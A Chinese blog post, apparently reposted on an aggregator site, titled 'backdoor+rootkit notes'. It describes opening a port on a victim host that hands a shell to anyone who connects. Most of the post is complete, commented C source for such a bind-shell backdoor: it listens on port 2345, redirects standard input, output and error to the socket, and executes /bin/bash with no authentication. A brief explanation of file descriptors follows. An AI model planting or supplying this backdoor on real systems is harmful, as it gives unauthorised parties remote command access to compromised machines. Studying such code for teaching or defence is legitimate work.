首页 > 其他 > 详细

backdoor+rootkit笔记

时间:2019-05-04 00:57:22      阅读:191      评论:0      收藏:0      [点我收藏+]

1、在受害主机上开启一个端口,并等待其它主机连接,连接后打开一个shell

技术分享图片

server一般打开端口,被动侦听,不需要知道客户端的IP和端口;而client发起请求,必须知道服务器端的IP和端口。

#include<stdio.h>
#include<unistd.h>
#include<netinet/in.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<string.h>
int main(){

    int listenfd, connfd;
    struct sockaddr_in servaddr,cliaddr;
    char buff[1024];
    int clilen;    
    int n;

    listenfd = socket(AF_INET,SOCK_STREAM,0); //创建一个流套接字
    bzero(&servaddr,sizeof(servaddr));
    servaddr.sin_family = AF_INET;
    servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
    servaddr.sin_port = htons(2345);

    if(bind(listenfd,(struct sockaddr *)&servaddr,sizeof(servaddr))<0)//将地址和端口绑定到socket上
        printf("bind error!\n");    

    listen(listenfd,10);       //侦听该socket是否有其它套接字接入
    clilen = sizeof(cliaddr);
    printf("serverfd is %d, connfd is %d.\n",listenfd,connfd);
    while(1){
        connfd = accept(listenfd,(struct sockaddr *)&cliaddr,&clilen); //侦听到一个连接
        send(connfd,"Welcome to Server!\n",19,0);  //向该连接另一端发送数据

        dup2(connfd,0);        //向连接复制文件内容
        dup2(connfd,1);
        dup2(connfd,2);
        execlp("/bin/bash","/bin/bash",NULL);  //执行命令行,生成一个新的shell

    }
    close(connfd);    //关闭连接
    close(listenfd);   //关闭侦听文件
}

Linux的文件描述符中有三个是特殊的,任何进程都一样的,0、1、2,分别代表标准输入,标准输出和标准出错,而它们都指向同一个tty(teleType,终端)。

backdoor+rootkit笔记

原文:https://www.cnblogs.com/dmzxxmeng/p/10807263.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!